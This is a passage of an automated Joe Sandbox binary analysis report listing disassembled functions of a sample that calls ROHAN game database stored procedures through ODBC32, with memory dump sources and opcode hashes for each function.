                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetAnonymousMode] (?,?)}
                                                                                                                            • API String ID: 0-928763527
                                                                                                                            • Opcode ID: 92c87c45c37456f6d507935e6698b26bb35d2c2f6c9cca1591192b56e48a84de
                                                                                                                            • Instruction ID: 5333a81139fd6970e20f2f169e9b8add6e79ec11c09a45b3576e1e1327f65612
                                                                                                                            • Opcode Fuzzy Hash: 92c87c45c37456f6d507935e6698b26bb35d2c2f6c9cca1591192b56e48a84de
                                                                                                                            • Instruction Fuzzy Hash: F921FFB0A45319ABFB24CF84CC52FAA7374EB84714F204289F6197A2C6D6B26D40CF58
                                                                                                                            Function 0043E0FF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SetMercenaryReward](?,?)},000000FD), ref: 0043E11F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E161
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043E196
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043E1CE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SetMercenaryReward](?,?)}, xrefs: 0043E116
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SetMercenaryReward](?,?)}
                                                                                                                            • API String ID: 0-3885320788
                                                                                                                            • Opcode ID: c7cd3a2d279de3760e2dcde0afef2ecfcc18f79beefd57b6613606fd627b3160
                                                                                                                            • Instruction ID: 4dae91dc118172c8833f1fe20381f73b5c549d43aaa047a6a09d528ac45170cd
                                                                                                                            • Opcode Fuzzy Hash: c7cd3a2d279de3760e2dcde0afef2ecfcc18f79beefd57b6613606fd627b3160
                                                                                                                            • Instruction Fuzzy Hash: 23212FB0B40258BBEB20CB85CC02FE973B5EB80B54F10C689F7556E2C8C6F569808B58
                                                                                                                            Function 00435141 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetSpouse] (?,?)},000000FD), ref: 00435161
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004351A3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004351D8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00435210
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetSpouse] (?,?)}, xrefs: 00435158
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetSpouse] (?,?)}
                                                                                                                            • API String ID: 0-1317761356
                                                                                                                            • Opcode ID: eaeb4354a7e1d53e2fca08c106d4141c33ed69adcf51f13f81de2bed3720e436
                                                                                                                            • Instruction ID: a699f556e39d2424e4cf836a3d778336a9b15985b4f5d1ef010d0026cf715501
                                                                                                                            • Opcode Fuzzy Hash: eaeb4354a7e1d53e2fca08c106d4141c33ed69adcf51f13f81de2bed3720e436
                                                                                                                            • Instruction Fuzzy Hash: 842100B0A44214ABEB24DF54CC52FAA7734EB84B1CF208289F7146E2C4D7B5A940CF58
                                                                                                                            Function 0043E998 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_Get_Reward_Expect_Invens] (?, ?)},000000FD), ref: 0043E9B8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E9F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043EA2F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EA67
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_Get_Reward_Expect_Invens] (?, ?)}, xrefs: 0043E9AF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_Get_Reward_Expect_Invens] (?, ?)}
                                                                                                                            • API String ID: 0-2337701118
                                                                                                                            • Opcode ID: 80a6ac4bc96b96d3a85b8ef5a33179b72964aca8d42e9d5c09d210c056a9917e
                                                                                                                            • Instruction ID: e89784e937fb55979675e9a30675c4bc3d57bb1fa48aae9cf28c55a1a9620e29
                                                                                                                            • Opcode Fuzzy Hash: 80a6ac4bc96b96d3a85b8ef5a33179b72964aca8d42e9d5c09d210c056a9917e
                                                                                                                            • Instruction Fuzzy Hash: 8821DEB1A44318BBEB288F44CD52FEB7374EB84B14F204289F7186E6D5D6B66D40CB58
                                                                                                                            Function 00433074 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetLadderQuestState](?,?)},000000FD), ref: 00433094
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004330D3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433108
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433140
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetLadderQuestState](?,?)}, xrefs: 0043308B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetLadderQuestState](?,?)}
                                                                                                                            • API String ID: 0-3368334355
                                                                                                                            • Opcode ID: 37b2b173dfc41d21acf5e20e6341699f6bbd0db9b504dca965b7c70e0d69e4bd
                                                                                                                            • Instruction ID: 490ae47203727e5f8d9bf8052c4fb6b247157d5a5fe4fd6ef91018b7b0a14a1d
                                                                                                                            • Opcode Fuzzy Hash: 37b2b173dfc41d21acf5e20e6341699f6bbd0db9b504dca965b7c70e0d69e4bd
                                                                                                                            • Instruction Fuzzy Hash: A2210EB0A45358BBFB248F44DD52FAA7334EBC4B24F108289F7186E2C6D7B569408B58
                                                                                                                            Function 0042E0CB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_DelSkill] (?,?)},000000FD), ref: 0042E0EB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E12A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E15F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E197
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_DelSkill] (?,?)}, xrefs: 0042E0E2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_DelSkill] (?,?)}
                                                                                                                            • API String ID: 0-3246315627
                                                                                                                            • Opcode ID: ecf4f7914d39f33532ff36da661facf7aeca74957000983015aaae1d1c055d8d
                                                                                                                            • Instruction ID: ee87121ede0d2d6023e9ec4b05ef17414d0468f2f77965ddacdc0dd829c8faa1
                                                                                                                            • Opcode Fuzzy Hash: ecf4f7914d39f33532ff36da661facf7aeca74957000983015aaae1d1c055d8d
                                                                                                                            • Instruction Fuzzy Hash: BC2100B1A44714ABEB608F44CC52FAB7378EB84B19F209289F7146E2C4D7B57980CF58
                                                                                                                            Function 0043521A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetSpouse] (?,?)},000000FD), ref: 0043523A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435279
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004352AE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004352E6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetSpouse] (?,?)}, xrefs: 00435231
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetSpouse] (?,?)}
